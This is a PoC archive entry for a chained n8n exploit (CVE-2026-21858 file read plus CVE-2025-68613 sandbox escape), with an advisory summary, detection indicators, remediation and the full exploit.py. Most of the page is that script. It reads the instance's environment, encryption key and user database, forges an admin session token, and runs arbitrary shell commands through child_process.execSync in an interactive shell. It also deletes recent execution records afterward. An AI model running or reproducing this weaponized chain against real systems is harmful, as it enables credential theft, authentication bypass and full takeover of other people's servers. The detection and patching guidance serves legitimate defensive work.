PoC Archive PoC Archive
Critical CVE-2026-21858, CVE-2025-68613 patched

n8n Unauthenticated Arbitrary File Read to RCE Full Chain — CVE-2026-21858 + CVE-2025-68613

by Chocapikk (exploit); vulnerability discovered by Dor Attias (Cyera) · 2026-07-05

CVSS 10.0/10
Severity
Critical
CVE
CVE-2026-21858, CVE-2025-68613
Category
web
Affected product
n8n workflow automation platform
Affected versions
<= 1.65.0 (arbitrary file read, CVE-2026-21858); >= 0.211.0 (expression injection RCE, CVE-2025-68613); fixed in 1.121.0 / 1.120.4+ respectively
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-06
Author / ResearcherChocapikk (exploit); vulnerability discovered by Dor Attias (Cyera)
CVE / AdvisoryCVE-2026-21858, CVE-2025-68613
Categoryweb
SeverityCritical
CVSS Score10.0 (CVE-2026-21858, AFR) / 9.9 (CVE-2025-68613, RCE)
StatusWeaponized
Tagsn8n, arbitrary-file-read, jwt-forgery, sandbox-bypass, expression-injection, rce, workflow-automation
RelatedN/A

Affected Target

FieldValue
Software / Systemn8n workflow automation platform
Versions Affected<= 1.65.0 (arbitrary file read, CVE-2026-21858); >= 0.211.0 (expression injection RCE, CVE-2025-68613); fixed in 1.121.0 / 1.120.4+ respectively
Language / PlatformPython 3 (uv run, requests, pyjwt), Docker lab environment
Authentication RequiredNo (initial file-read step is unauthenticated)
Network Access RequiredYes

Summary

This PoC chains two n8n vulnerabilities into full unauthenticated remote code execution. First, CVE-2026-21858 is a Content-Type confusion bug in n8n’s binary file handling: sending Content-Type: application/json instead of multipart/form-data to a form endpoint lets an attacker control the filepath argument passed into n8n’s file-copy helper, yielding arbitrary file read. The exploit uses this to read /proc/self/environ (to find $HOME), then $HOME/.n8n/config (to get the instance’s encryptionKey) and $HOME/.n8n/database.sqlite (to get the admin user’s password hash). It derives the JWT signing secret from the encryption key and forges a valid admin session cookie without ever authenticating. With admin access, it creates a workflow using an n8n expression that reaches this.process.mainModule.require — an expression-injection sandbox escape (CVE-2025-68613) — to run arbitrary shell commands via child_process.execSync. The exploit is not a universal “pwn any n8n” tool: it requires a publicly reachable form workflow with a file-upload field and a Respond-to-Webhook node configured to return the file’s binary content in the HTTP response, a pattern the author found present in a number of public community workflow repositories.


Vulnerability Details

Root Cause

CVE-2026-21858: the pre-patch form file-handling code trusted an attacker-supplied filepath field taken from JSON body data instead of enforcing genuine multipart/form-data uploads, so context.nodeHelpers.copyBinaryFile(file.filepath, ...) would copy and return the contents of any file path supplied by the client. CVE-2025-68613: n8n’s expression evaluator exposes this.process.mainModule.require inside workflow expressions on default installs, letting an expression require("child_process") and execute arbitrary commands, bypassing the intended sandbox restrictions on the Code Node.

Attack Vector

  1. Locate a public n8n form workflow with a file-upload field whose “Respond to Webhook” node returns the uploaded file’s content as binary in the HTTP response.
  2. Submit a request with Content-Type: application/json and a crafted filepath (e.g. /proc/self/environ) instead of an actual multipart upload, triggering the Content-Type confusion bug to read arbitrary files.
  3. Read /proc/self/environ to locate $HOME, then read $HOME/.n8n/config for the encryptionKey and $HOME/.n8n/database.sqlite for the admin user’s credential hash.
  4. Derive the JWT signing secret from the encryption key (sha256(encryption_key[::2])) and forge a valid n8n-auth admin session cookie.
  5. Using the forged admin session, create/execute a workflow containing an expression payload that calls this.process.mainModule.require("child_process").execSync(cmd), achieving remote code execution as the n8n process user.

Impact

Full unauthenticated compromise of a vulnerable n8n instance: arbitrary file disclosure, forged administrative access, and ultimately arbitrary OS command execution as the n8n service account (observed as root in the author’s Docker lab).


Environment / Lab Setup

Target:   n8n (Docker), vulnerable form workflow with file-upload + Respond-to-Webhook binary node
Attacker: Python 3, uv (or pip install requests pyjwt), Docker + docker-compose for the bundled lab

Bundled lab: docker-compose.yml / Dockerfile / init/setup.sh stand up a pre-configured vulnerable n8n instance with the exploitable form workflow and demo admin credentials.


Proof of Concept

PoC Script

See exploit.py in this folder (lab bootstrap: Dockerfile, docker-compose.yml, init/setup.sh, pyproject.toml).

1
2
3
4
5
6
docker compose up -d
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --read /etc/passwd

uv run python exploit.py http://localhost:5678 /form/vulnerable-form --cmd "id"

uv run python exploit.py http://localhost:5678 /form/vulnerable-form

The script automates the full chain end-to-end: it reads the environment and SQLite database via the Content-Type confusion bug, forges an admin JWT/session cookie from the recovered encryption key, then deploys and triggers a malicious workflow expression to execute attacker-supplied commands and return their output.


Detection & Indicators of Compromise

Signs of compromise:

  • HTTP requests to /form/<slug> with JSON bodies containing filepath-like fields instead of actual file uploads
  • New or modified n8n workflows containing ={{ ... require("child_process") ... }}-style expressions
  • Unexpected reads of .n8n/config or .n8n/database.sqlite reflected in application logs, or unexplained admin logins with no corresponding legitimate authentication event

Remediation

ActionDetail
Primary fixUpgrade n8n to 1.121.0+ (fixes CVE-2026-21858) and 1.120.4+ (fixes CVE-2025-68613)
Interim mitigationDo not expose public forms with file-upload + binary Respond-to-Webhook nodes without authentication; restrict/disable expression evaluation features where not required; rotate the instance encryptionKey and all credentials after any suspected exposure

References


Notes

Mirrored from https://github.com/Fomovet/cve-2026-21858 on 2026-07-05. The exploit script credits Chocapikk’s original research/exploit (https://github.com/Chocapikk/CVE-2026-21858); this mirror packages that work together with a Docker lab and detailed attack-chain documentation.

exploit.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
#!/usr/bin/env python3
"""
CVE-2026-21858 + CVE-2025-68613 - n8n Full Chain Exploit
Arbitrary File Read → Admin Token Forge → Sandbox Bypass → RCE

Author: Chocapikk
GitHub: https://github.com/Chocapikk/CVE-2026-21858
"""

import argparse
import hashlib
import json
import logging
import os
import secrets
import sqlite3
import string
import tempfile
from base64 import b64encode

import jwt
import requests

logging.basicConfig(format="%(message)s", level=logging.INFO)
logger = logging.getLogger(__name__)

BANNER = """
╔═══════════════════════════════════════════════════════════════╗
║     CVE-2026-21858 + CVE-2025-68613 - n8n Full Chain          ║
║     Arbitrary File Read → Token Forge → Sandbox Bypass → RCE  ║
║                                                               ║
║     by Chocapikk                                              ║
╚═══════════════════════════════════════════════════════════════╝
"""

RCE_PAYLOAD = '={{ (function() { var require = this.process.mainModule.require; var execSync = require("child_process").execSync; return execSync("CMD").toString(); })() }}'


def randstr(n: int = 12) -> str:
    return "".join(secrets.choice(string.ascii_lowercase + string.digits) for _ in range(n))


def randpos() -> list[int]:
    return [secrets.randbelow(500) + 100, secrets.randbelow(500) + 100]


class Ni8mare:
    def __init__(self, base_url: str, form_path: str):
        self.base_url = base_url.rstrip("/")
        self.form_url = f"{self.base_url}/{form_path.lstrip('/')}"
        self.session = requests.Session()
        self.admin_token = None

    def _api(self, method: str, path: str, **kwargs) -> requests.Response | None:
        kwargs.setdefault("timeout", 30)
        kwargs.setdefault("cookies", {"n8n-auth": self.admin_token} if self.admin_token else {})
        resp = self.session.request(method, f"{self.base_url}{path}", **kwargs)
        return resp if resp.ok else None

    def _lfi_payload(self, filepath: str) -> dict:
        return {
            "data": {},
            "files": {
                f"f-{randstr(6)}": {
                    "filepath": filepath,
                    "originalFilename": f"{randstr(8)}.bin",
                    "mimetype": "application/octet-stream",
                    "size": secrets.randbelow(90000) + 10000
                }
            }
        }

    def _build_nodes(self, command: str) -> tuple[list, dict, str, str]:
        trigger_name, rce_name = f"T-{randstr(8)}", f"R-{randstr(8)}"
        result_var = f"v{randstr(6)}"
        payload_value = RCE_PAYLOAD.replace("CMD", command.replace('"', '\\"'))
        nodes = [
            {"parameters": {}, "name": trigger_name, "type": "n8n-nodes-base.manualTrigger",
             "typeVersion": 1, "position": randpos(), "id": f"t-{randstr(12)}"},
            {"parameters": {"values": {"string": [{"name": result_var, "value": payload_value}]}},
             "name": rce_name, "type": "n8n-nodes-base.set", "typeVersion": 2,
             "position": randpos(), "id": f"r-{randstr(12)}"}
        ]
        connections = {trigger_name: {"main": [[{"node": rce_name, "type": "main", "index": 0}]]}}
        return nodes, connections, trigger_name, rce_name

    # ========== Arbitrary File Read (CVE-2026-21858) ==========

    def read_file(self, filepath: str, timeout: int = 30, retries: int = 1) -> bytes | None:
        for i in range(retries):
            try:
                resp = self.session.post(
                    self.form_url, json=self._lfi_payload(filepath),
                    headers={"Content-Type": "application/json"}, timeout=timeout
                )
                if resp.ok and resp.content:
                    return resp.content
            except requests.RequestException:
                pass
            if i < retries - 1:
                import time
                time.sleep(2)
        return None

    def get_version(self) -> tuple[str, bool]:
        resp = self._api("GET", "/rest/settings", timeout=10)
        version = resp.json().get("data", {}).get("versionCli", "0.0.0") if resp else "0.0.0"
        major, minor = map(int, version.split(".")[:2])
        return version, major < 1 or (major == 1 and minor < 121)

    def get_home(self) -> str | None:
        data = self.read_file("/proc/self/environ")
        if not data:
            return None
        for var in data.split(b"\x00"):
            if var.startswith(b"HOME="):
                return var.decode().split("=", 1)[1]
        return None

    def get_key(self, home: str) -> str | None:
        data = self.read_file(f"{home}/.n8n/config")
        return json.loads(data).get("encryptionKey") if data else None

    def get_db(self, home: str) -> bytes | None:
        return self.read_file(f"{home}/.n8n/database.sqlite", timeout=120, retries=3)

    def extract_admin(self, db: bytes) -> tuple[str, str, str] | None:
        tmp = tempfile.NamedTemporaryFile(suffix=".db", delete=False)
        try:
            tmp.write(db)
            tmp.close()
            conn = sqlite3.connect(tmp.name)
            row = conn.execute("SELECT id, email, password FROM user WHERE role='global:owner' LIMIT 1").fetchone()
            conn.close()
        finally:
            os.unlink(tmp.name)
        return (row[0], row[1], row[2]) if row else None

    def forge_token(self, key: str, uid: str, email: str, pw_hash: str) -> str:
        secret = hashlib.sha256(key[::2].encode()).hexdigest()
        h = b64encode(hashlib.sha256(f"{email}:{pw_hash}".encode()).digest()).decode()[:10]
        self.admin_token = jwt.encode({"id": uid, "hash": h}, secret, "HS256")
        return self.admin_token

    def verify_token(self) -> bool:
        return self._api("GET", "/rest/users", timeout=10) is not None

    # ========== RCE (CVE-2025-68613) ==========

    def rce(self, command: str) -> str | None:
        nodes, connections, _, _ = self._build_nodes(command)
        wf_name = f"wf-{randstr(16)}"
        workflow = {"name": wf_name, "active": False, "nodes": nodes,
                    "connections": connections, "settings": {}}

        resp = self._api("POST", "/rest/workflows", json=workflow, timeout=10)
        if not resp:
            return None
        wf_id = resp.json().get("data", {}).get("id")
        if not wf_id:
            return None

        run_data = {"workflowData": {"id": wf_id, "name": wf_name, "active": False,
                                      "nodes": nodes, "connections": connections, "settings": {}}}
        resp = self._api("POST", f"/rest/workflows/{wf_id}/run", json=run_data, timeout=30)
        if not resp:
            self._api("DELETE", f"/rest/workflows/{wf_id}", timeout=5)
            return None

        exec_id = resp.json().get("data", {}).get("executionId")
        result = self._get_result(exec_id) if exec_id else None
        self._api("DELETE", f"/rest/workflows/{wf_id}", timeout=5)
        return result

    def _get_result(self, exec_id: str) -> str | None:
        resp = self._api("GET", f"/rest/executions/{exec_id}", timeout=10)
        if not resp:
            return None
        data = resp.json().get("data", {}).get("data")
        if not data:
            return None
        parsed = json.loads(data)
        for item in reversed(parsed):
            if isinstance(item, str) and len(item) > 3 and item not in ("success", "error"):
                return item.strip()
        return None

    # ========== Full Chain ==========

    def pwn(self) -> bool:
        home = self.get_home()
        if not home:
            logger.error("HOME directory: Not found")
            return False
        logger.info("HOME directory: %s", home)

        key = self.get_key(home)
        if not key:
            logger.error("Encryption key: Failed")
            return False
        logger.info("Encryption key: %s...", key[:8])

        db = self.get_db(home)
        if not db:
            logger.error("Database: Failed")
            return False
        logger.info("Database: %d bytes", len(db))

        admin = self.extract_admin(db)
        if not admin:
            logger.error("Admin user: Not found")
            return False
        uid, email, pw = admin
        logger.info("Admin user: %s", email)

        self.forge_token(key, uid, email, pw)
        logger.info("Token forge: OK")

        if not self.verify_token():
            logger.error("Admin access: Rejected")
            return False
        logger.info("Admin access: GRANTED!")

        logger.info("Cookie: n8n-auth=%s", self.admin_token)

        self._cleanup_executions()
        logger.info("Cleanup: OK")

        return True

    def _cleanup_executions(self) -> None:
        # Each LFI read stores the returned file as execution binary data.
        # Reading database.sqlite causes exponential growth (the DB contains itself).
        # Delete recent execution records (last 1 minute) and VACUUM to reclaim space.
        js = (
            "var s = require('sqlite3');\n"
            "var d = new s.Database(process.env.HOME + '/.n8n/database.sqlite');\n"
            "d.run(\"DELETE FROM execution_data WHERE executionId IN "
            "(SELECT id FROM execution_entity WHERE startedAt >= datetime('now', '-1 minutes'))\", function() {\n"
            "  d.run(\"DELETE FROM execution_entity WHERE startedAt >= datetime('now', '-1 minutes')\", function() {\n"
            "    d.run(\"VACUUM\", function() { d.close() });\n"
            "  });\n"
            "});\n"
        )
        self.rce(f"echo {b64encode(js.encode()).decode()} | base64 -d | node")


def parse_args():
    p = argparse.ArgumentParser(description="n8n Ni8mare - Full Chain Exploit")
    p.add_argument("url", help="Target URL (http://target:5678)")
    p.add_argument("form", help="Form path (/form/upload)")
    p.add_argument("--read", metavar="PATH", help="Read arbitrary file")
    p.add_argument("--cmd", metavar="CMD", help="Execute single command")
    p.add_argument("-o", "--output", metavar="FILE", help="Save LFI output to file")
    return p.parse_args()


def run_read(exploit: Ni8mare, path: str, output: str | None) -> None:
    data = exploit.read_file(path)
    if not data:
        logger.error("File read failed")
        return
    logger.info("%d bytes", len(data))
    if output:
        with open(output, "wb") as f:
            f.write(data)
        logger.info("Saved: %s", output)
        return
    print(data.decode())


def run_cmd(exploit: Ni8mare, cmd: str) -> None:
    out = exploit.rce(cmd)
    if not out:
        logger.error("RCE: Failed")
        return
    logger.info("RCE: OK")
    print(f"\n{out}")


def run_shell(exploit: Ni8mare) -> None:
    logger.info("Interactive mode (type 'exit' to quit)")
    while True:
        try:
            cmd = input("n8n> ").strip()
        except (EOFError, KeyboardInterrupt):
            print()
            return
        if not cmd or cmd == "exit":
            return
        out = exploit.rce(cmd)
        if out:
            print(out)


def main():
    print(BANNER)
    args = parse_args()

    exploit = Ni8mare(args.url, args.form)
    version, vuln = exploit.get_version()
    logger.info("Target: %s", exploit.form_url)
    logger.info("Version: %s (%s)", version, "VULN" if vuln else "SAFE")

    if args.read:
        run_read(exploit, args.read, args.output)
        return

    if not exploit.pwn():
        return

    if args.cmd:
        run_cmd(exploit, args.cmd)
        return

    run_shell(exploit)


if __name__ == "__main__":
    main()